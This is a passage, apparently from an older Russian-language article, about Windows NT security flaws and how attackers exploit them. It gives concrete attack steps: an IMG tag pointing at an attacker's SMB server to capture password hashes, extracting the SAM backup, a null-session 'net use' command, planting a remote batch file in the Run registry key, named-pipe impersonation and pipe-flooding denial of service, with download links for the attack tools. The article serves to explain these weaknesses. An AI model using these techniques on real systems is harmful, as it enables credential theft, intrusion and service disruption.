не обязательно подбирать пароль, одна забавная ошибка позволяет быстро, незаметно и надежно похитить его у жертвы. Достаточно поместить на страничку ссылку типа "<IMG SRC=file:////my.own.smb.server/mypets.jpg>" и дождаться пока жертва не вздумает на нее зайти (или для ускорения развязки послать жертве письмо в HTML-формате). Когда это, наконец, произойдет, Internet Explorer или Netscape Navigators автоматически, не запрашивая подтверждения, передадут имя пользователя и хеш-значение пароля, под которым тот вошел в систему. Впервые на эту ненормальность обратил внимание Аарон Спанглер, а за ним обнаружили и другие. Атаке оказались подвержены все версии Windows NT 3.5-4.0 вплоть до последних Service Pack, а так же Windows 95 и Windows for Workgroups. ------Но это не единственный способ несанкционированного вторжения. В Windows NT наличествует так называемый гостевой вход ("Guest Account") с пустым паролем. На сервере он по умолчанию заблокирован, а на рабочих станциях открыт! Получить доступ к узлу сети, пускай на гостевых правах это уже происшествие, а вход в систему с привилегиями администратора - катастрофа. Разумеется, на рабочей станции пароль администратора не хранится. Собственно, в Windows NT пароли вообще нигде не хранятся. Вместо этого в базу данных SAM (Security Account Manager) заносятся хеш значения паролей. Сама база хранится в файле "%SystemRoot%\SYSTEM32\CONFIG\sam", доступ к которому закрыт системой. Файл "sam" представляет собой ветвь реестра HKEY_LOCAL_MACHINE\SECURITY\SAM, права чтения которого предоставляются только администратору (и то, по умолчанию они заблокированы). Функции API, манипулирующие с именами пользователя и хеш - значением, недоступны непривилегированным пользователям. Словом, защита выглядит как будто безупречной и неприступной. Тем временем, резервная копия системы, хранящаяся в каталоге %SystemRoot%\Repair в любое время доступна каждому члену группы Everyone! Резервная копия создается при установке (или переустановке) Windows NT, а так же всякий раз при запуске утилиты rdisk с ключом "/s". Распаковав добытый файл командой "expand sam._ sam", злоумышленник сможет извлечь из него имена пользователей и хеш значения паролей. ------Но, помимо гостевого входа, который элементарно отключить, в Windows NT существует анонимный пользователь, обладающий правами на просмотр списка пользователей, разделенных ресурсов и некоторых (между прочим, достаточно многих) ветвей системного реестра. Анонимный пользователь необходим системе для организации нуль сессий (NULL session), использующихся для выполнения действий, не требующих аутентификации (или в тех случаях, когда аутентификация невозможна). Например, пусть в сети находятся два домена Windows NT, условно обозначаемых <D1> и <D2>. Если <D1> доверяет <D2>, а <D2> не доверяет <D1>, то для получения списка пользователей и групп, расположенных на <недоверчивом> домене, приходится прибегать к анонимному подсоединению. Анонимным пользователям доступен специальный ресурс IPC$ (inter-process communication), подключить который можно командной <net use \\name\IPC$ "" /USER:"">, где name - сетевое имя компьютера или его IP адрес. Злоумышленник получает возможность запускать User Manager для просмотра пользователей и групп, Event Viewer для просмотра журнала событий, а так же другие средства удаленного администрирования, основанные на протоколе SMB. Ветвь реестра <HKLM\Software\Microsoft\Windows\CurrentVersion\Run>, содержащая имена программ, запускающихся при каждой локальной регистрации пользователя, доступна анонимному пользователю, как для чтения, так и для модификации. Изменяя ее по своему усмотрению, злоумышленник сможет выполнить не только одну из программ, хранящихся на сервере, но и любую из программ, находящихся на его компьютере! Для этого он должен записать нечто вроде "\\mycomputer\myprog.bat", где mycomputer - имя компьютера злоумышленника или его IP адрес. Командный файл выполняется с привилегиями локально зашедшего на сервер пользователя (а локально на сервер, как правило, заходят, администраторы). А, получив права администратора, злоумышленник может сделать с сервером все что угодно (например, узнать имена и хеш-значения всех остальных пользователей). В 1997 году вышла программная реализация такой атаки, получившая название RedButton. -----В Windows NT password policy доступны всем, в том числе и анонимному пользователю (даже после установки Service Pack 3!). Злоумышленник сможет узнать: минимальную длину пароля, как часто меняются пароли, и какое количество неудачных попыток регистрации блокирует учетную запись (если блокировка включена). Полученная информация значительно облегчает проникновение в систему. А еще в policy открытым текстом хранятся предыдущие используемые пароли, (так, называемая история паролей). С точки зрения безопасности пароли необходимо периодически менять, - причем они не должны повторятся (во всяком случае, спустя короткое время). Например, в истории могут храниться пять последних паролей пользователя, и при смене пароля система проверяет, - не совпадает ли новый пароль с одним из них. Конечно, это старые пароли, недействительные на текущий момент, но их изучение позволяет понять, по какому принципу назначаются пароли, - выбираются ли словарные слова, даты рождения родственников, имена любимых хомячков или абсолютно случайные последовательности. Кстати, не исключено, что рано или поздно пользователь вновь выберет один из старых паролей, возможно, несколько его видоизменив. Компания Microsoft подтверждает наличие такой дыры, предостерегая пользователей и администраторов от повторного выбора паролей. Но это не решает проблемы. Если пароли выбираются не абсолютно случайно, изучая их периодическую смену, злоумышленник может угадать очередной пароль или, по крайней мере, сузить круг перебора. Среди множества пользователей наверняка окажутся такие, кто халатно относится к безопасности и всегда выбирает короткие, запоминающиеся последовательности (а, следовательно, предсказуемые). -----Компания Microsoft утверждает, что Windows NT позволяет ограничить рабочие станции, с которых пользователь может входить в систему. И это чистая правда, - администратор легко может контролировать легального пользователя (в чем каждый с легкостью имеет возможность убедиться), а как на счет злоумышленника? Увы! Прикладной протокол SMB реализуется поверх транспортных протоколов, совместимых с интерфейсом NetBIOS. А при установлении соединения по протоколу NetBIOS, сервер проверяет имя, сообщенное ему клиентом, а не его IP адрес! Злоумышленнику достаточно знать (или выяснить методом перебора) с каких рабочих станций разрешен вход на сервер, а подделать их имена - дело техники. Если быть совсем точным - NetBIOS сервер вообще не проверяет имя, переданное клиентом - это забота SMBсервера, а до начала SMB-сессии никакое протоколирование установленных соединений не ведется! -----Другую полезную для себя информацию злоумышленник может получить с помощью протокола SNMP (Simple Network Management Protocol). Протокол SNMP обеспечивает мониторинг сети, и обычно используется администраторами, которые с его помощью могут отслеживать и оперативно реагировать на возникшие проблемы, а так же настраивать сеть на максимальную производительность. Одна из задач, возлагаемых на SNMP - поддержка распределенной информационной базы управления MIB (Management Information Base). В узлах сети, находятся агенты - программные модули, собирающие информацию об управляемых объектах и размещающие полученную информацию в своих локальных переменных. Протокол SNMP обеспечивает обмен контрольной информацией между элементами сети и доступ к базе MIB. При обмене сообщениями агенты используют механизмы аутентификации (часто уязвимые для взлома), а для доступа к базе MIB достаточно знать, так называемое, имя сообщества (community name), по умолчанию public. А в базе MIB Windows NT среди прочего содержится следующая информация: · Таблица сервисов, запущенных на сервере, включая название и состояние сервиса · Число парольных нарушений, зарегистрированных на сервере · Тип разграничения доступа (на уровне пользователей или на уровне ресурсов) · Перечень сессий, включая имена станций клиентов и состояние сессии · Перечень учетных записей сервера · Перечень разделяемых ресурсов сервера, с указанием локальных путей Очевидно, что информация подобного рода значительно упрощает несанкционированное вторжение в систему и не должна быть доступна злоумышленнику. Известны многочисленные случаи, когда сервис finger, сообщающий значительно меньше данных об активных пользователях, становился главной причиной успешности удаленных атак. Поэтому, зачастую он отключается администраторами, становясь в наши дни экзотической редкостью. Насколько же более богатой информацией злоумышленника снабжают MIB-база и нуль сессии! Но, в отличие от сервера finger, их не так-то легко отключить! Все способы, описанные выше, в той или иной мере, устраняются правильным администрированием сети и не гарантируют злоумышленнику проникновения в систему. Часто атакующий действует наугад, отыскивая наименее защищенный узел, а не пытается получить доступ к какой-то одной, конкретной машине. -------Мусорные баки и корзины издавна служили источником ценной информации. И копания в <мусорной корзине> Windows NT так же способны извлечь на свет докумет, содержащий конфиденциальные данные. Поэтому, в Windows NT существует возможность предоставления каждому пользователю своей собственной корзины. При нормальном развитии событий, никакой пользователь, не обладающий правами администратора, не может получить доступ к чужой корзине. Но друг от друга корзины отличаются всего лишь идентификатором пользователя SID, который злоумышленнику легко выяснить (существуют API функции, выдающие идентификатор пользователя по его имени). Если злоумышленник изменит идентификатор свой корзины на идентификатор корзины жертвы, то файлы, удаляемые жертвой, попадут в руки злоумышленника. Впрочем, существование двух корзин с одинаковыми идентификаторами приводит к непредсказуемому поведению системы, поэтому стабильная работа обеспечивается лишь в том случае, когда злоумышленник подделывает свою корзину до создания корзины жертвы, что маловероятно, т.к. обычно корзина создается сразу же после регистрации нового пользователя системы. Но до регистрации пользователя не известен его SID. Таким образом, подобная уязвимость не представляет большой опасности, но все же достаточно любопытна сама по себе. -------Но если в коде ядра присутствуют ошибки, позволяющие пользователю вмешиваться в работу системных процессов, то он сможет получить любые привилегии, в том числе и администратора! Изучая работу модуля ntoskrnl.exe, Константин Соболев обратил внимание на то, что функция NtAddAtom не контролирует значение аргумента, указывающего адрес для записи результатов успешности своей работы. Поскольку функция NtAddAtom выполняется ядром и имеет привилегии System, она может писать, что ей вздумается и куда вздумается. Но функция win32 API AddAtom, содержит переходной код, который сохраняет результат работы NtAddAtom в локальной переменной, откуда и возвращает значение пользователю. Однако через прерывание 0x2E можно получить доступ непосредственно к функциям ядра, без высокоуровневых оберток. ------Вообще же, если у пользователя есть право отладки приложений, ему доступны функции WriteProcessMemory и CreateRemoteThread, позволяющие как угодно распоряжаться системой по своему усмотрению. Поскольку, ни один здравомыслящий администратор потенциальному злоумышленнику такого права не даст, тому приходится присваивать его самостоятельно. К сожалению, описание алгоритма такой атаки выходит за рамки данной статьи, но существует утилита Sechole, написанная Prasad Dabak, Sandeep Phadke и Milind Borate, которая замещает код функции OpenProcess (проверяющий наличие прав отладки приложений перед открытием процесса) и затем, пользуясь отладочными функциями, помещает текущего пользователя в группу администраторов. ------Служба редиректора так же имеет ошибки реализации, позволяющие любому пользователю получить права администратора или нарушить нормальную работу сервера, поэтому имеет смысл подробно остановится на этом моменте. Именованные каналы представляют собой механизм межсетевой передачи данных по виртуальному каналу, гарантирующему доставку сообщений. Каналы реализованы в виде псевдофайловой системы NPFS (Named Pips File System), которая хранит все сообщения в памяти и выдает их по запросу. Имена сообщений представляются в виде "\pipe\pipaname" и работают с теми же функциями, что и обыкновенные файлы (например, CreateFile, ReadFile, WriteFile). Создать именованный канал (или новый экземпляр существующего канала, если такой канал уже есть) позволяет функция CreateNamedPipe. Каждый экземпляр канала одновременно может работать лишь с одним клиентом. Поэтому, при создании канала, сервер сразу же открывает несколько экземпляров канала. В документации Microsoft утверждается, что при запросе на подключение, система соединяет клиента с любым незанятным экземпляром канала, но эксперименты показывают, - клиент всегда подключается к наиболее ранее созданному (или освобожденному) каналу. Создать экземпляр уже существующего канала может любой процесс, независимо от его привилегий и прав доступа. Система примет новый экземпляр канала на равных правах со старым. И, когда все, созданные ранее, экземпляры окажутся занятыми, очередной клиент, желающий установить соединение, окажется отосланным к подложному каналу. Но функции интерфейса приложений не позволяют клиенту узнать, какой процесс обрабатывает канал, с которым клиент установил соединение! Это дает возможность внедрять ложные объекты в вычислительную систему и перехватывать входящий трафик. Более того, существует возможность унаследовать права клиента! Процессу, породившему экземпляр канала, достаточно вызвать функцию ImpersonateNamedPipeClient, выполняющую олицетворение (Impersonate) клиента. Вообще-то эта функция задумывалась как раз для обратного понижения привилегий потока, выполняющего олицетворение. Разработчики, в стремлении усилить защищенность системы, предложили: потоку, обрабатывающему подключение, временно назначать права клиента, установившего соединение. Пока привилегии клиента не превышают привилегий сервера (а обычно это так и есть), не происходит ничего интересного. Но как только пользователь из группы guest (или Everyone) создаст подложный экземпляр потока, и дождется подключения привилегированного клиента (или администратора!) он увеличит свои права (иногда весьма значительно)! Вообще-то прикладные программы используют каналы крайне редко и, казалось бы, злоумышленнику ни на что рассчитывать не приходится. Но интенсивнее всех использует каналы система удаленного администрирования. Выходит, существует вполне осязаемая угроза перехвата прав администратора! Причем система не в состоянии обнаружить вторжение нарушителя. Если, конечно, он не станет совершать действий, обращающих на себя внимание, и сохраняющихся в протоколах и журналах. Впрочем, существует одно существенное ограничение. Олицетворяется не пользователь, а поток, и по наследству полученные привилегии не передаются. Это происходит потому, что в Windows NT новому процессу назначается маркер доступа процесса-родителя, а не маркер доступа потока, вызывающего CreateProcess. Поэтому, злоумышленник, не сможет запустить ни одну программу, требующую прав администратора. Однако ему это и не нужно - достаточно воспользоваться соответствующими системными функциями (а они доступны, включая тех, что требуют для исполнения прав администратора). Существует программная реализация такой атаки, созданная Вадимом Проскуриным, совместно с Петром Девяниным и Сергеем Заливакиным. Программа AdminTrap (http://hackzone.ru/articles/AdmTrap.zip) создает троянский экземпляр одного из системных каналов и ждет подключения клиента. Если получение прав администратора происходит успешно, в качестве демонстрации работоспособности программы, создается новый пользователь в группе <Администраторы>, но для предотвращения несанкционированного доступа в систему вновь созданная учетная запись тут же блокируется. Очевидно, разработчики не ставили перед собой целью вторжения в чужие системы, а стремились показать наличие такой уязвимости. Незначительное техническое уточнение, - поскольку системные сервисы заранее создают несколько экземпляров каналов, то, скорее всего, подложный экземпляр канала никогда не дождется клиента (в самом деле, в какой системе наберется десяток одновременно работающих администраторов?). Поэтому необходимо занять все существующие каналы работой и заблокировать сервер, не давая ему возможность создавать новые экземпляры. И такая возможность есть! Системные сервисы в Windows NT не ограничивают максимальное количество создаваемых экземпляров канала, а каждый канал, как правило, обрабатывается отдельным потоком (т.е. происходит классическое, популярное со времен UNIX, расщепление процесса-обработчика при запросе на очередное подключение). Все потоки и каждый экземпляр канала требуют некоторого количества оперативной памяти, и если злоумышленник вздумает в бесконечном цикле устанавливать все новые и новые соединения, оперативной памяти может попросту не хватить! На первый взгляд никакой опасности нет, - Windows NT поддерживает виртуальную память и при необходимости умеет выгружать наименее нужные страницы на диск. Злоумышленник физически не сможет работать со всеми установленными соединениями одновременно (памяти-то у него поменьше, чем у сервера будет) и неактивные потоки без ущерба для производительности могут быть скинуты в файл подкачки. Кажется, все определяется лишь количеством свободного места на диске. Но при создании канала система размещает входящий и исходящей буфера в неоткачиваемой памяти (non-paged pool). Поэтому, максимальное количество экземпляров канала определяется объемом неоткачиваемой памяти, выделенной процессу. Таким образом, существует возможность, как заблокировать создание новых экземпляров канала, так и замедлить работу системы, отобрав у системных процессов всю свободную оперативную память, заставляя их за каждой страницей обращаться к диску. Вот так описывает Вадим Проскурин реакцию системы на создание бесчисленного количества экземпляров системных каналов: <:загрузка процессора компьютера, на котором выполняется процесс-сервер, стабильно держится на уровне 100% (при этом около 90% времени процессор обслуживает процессы с базовым приоритетом High), а объем свободной оперативной памяти этого компьютера уменьшается со скоростью от 1 до 3 мегабайт в секунду. Когда и физическая, и виртуальная памяти компьютера переполняются, и начинается рост файла виртуальной памяти, эта скорость несколько уменьшается. Уже через минуту атакованный компьютер становится практически неработоспособен (окно Explorer прорисовывается несколько минут), а через 5-10 минут перегруженность операционной системы достигает такой степени, что команда Shutdown выполняется 3-6 часов> Идея подобной атаки, окрещенной PipeBomb, принадлежит Петру Девянину, а Сергеем Заливакиным создана ее программная реализация, которую можно получить, обратившись по адресу: http://hackzone.ru/articles/PipeBomb.zip По словам авторов, комбинированием AdminTrap со строго дозированным воздействием на систему PipeBomb, им удалось перехватить два соединения: winreg, управляющее удаленным доступом к реестру, и spoolss, отвечающее за удаленное управление принтером. Однако не исключено, что удастся перехватить и другие соединения, в том числе служебные, выполняющиеся системой без непосредственного участия администратора. Например, каналы lsass, и LANMAN используются для передачи по сети имени пользователя и хеш - значения пароля во время сеанса аутентификации, а механизм удаленного вызова процедур (RCP) использует канал lsarpc. Обе атаки успешно функционирует в среде в Windows NT 4.0, со всеми установленными Service Pack, одинаково хорошо <чувствуя> себя и на рабочей станции, и на сервере. Они осуществимы как из локальной сети, так из Internet, поскольку основаны на прикладном SMB-протоколе, который может быть реализован поверх транспортного протокола TCP. Административными средствами посильно перекрыть Internet-трафик, установив фильтр, отсекающий все пакеты, содержащие заголовки SMB, но такая мера бессильна против злоумышленников, находящихся внутри локальной сети. Оказались уязвимы все три платформы - и Microsoft Windows 2000 Professional и Microsoft Windows 2000 Server и Microsoft Windows 2000 Advanced Server, поэтому нерасторопные администраторы рискуют подвергнуться атаке. Подробнее об этом можно прочитать в технической заметке Microsoft Security Bulletin (MS00-053). ------- Вообще же отсутствие ограничений количества создаваемых объектов в NT повсеместны. Давно известен пример атакующей программы, создающей в бесконечном цикле огромное количество окон. Когда же лимит, отведенный системой, исчерпывается (все на свете рано или поздно кончается), никто, даже ядро системы, не может создать новое окно. Ни работать на компьютере, ни <прибить> процесс, ни даже завершить работу системы становится невозможно, потому что для этого необходимо вызвать либо Менеджер Задач, либо диалог <Завершение Работы>, а новые окна создать невозможно! Поэтому, остается утопить <заветную> клавишу Reset или выдернуть шнур из сети электропитания. Помнится, Microsoft решила проблему <методом страуса> - окно Менеджера Задач создавалось сразу же после старта системы, но не отображалось на экране, пока в нем не было необходимости, а вызов Менеджера Задач только менял атрибуты уже существующего окна, и становился доступным в любой критической ситуации. Спустя некоторое время появилась простая программа, вместо окон в бесконечном цикле порождающая потоки (а количество потоков, принадлежащих процессу, не зависимо от его привилегий, не ограничено). Потоки же способны <съесть> все процессорное время и остальные процессы с равным (или низшим) приоритетом практически <замрут>. Впрочем, если у злоумышленника отсутствует право выполнять процессы с приоритетом выше среднего (Normal), то существует возможность "прибить" зловредную программу Менеджером Задач, но, увы, не автоматически. Если же это произойдет на сервере, то многие приложения окажутся парализованными до вмешательства администратора.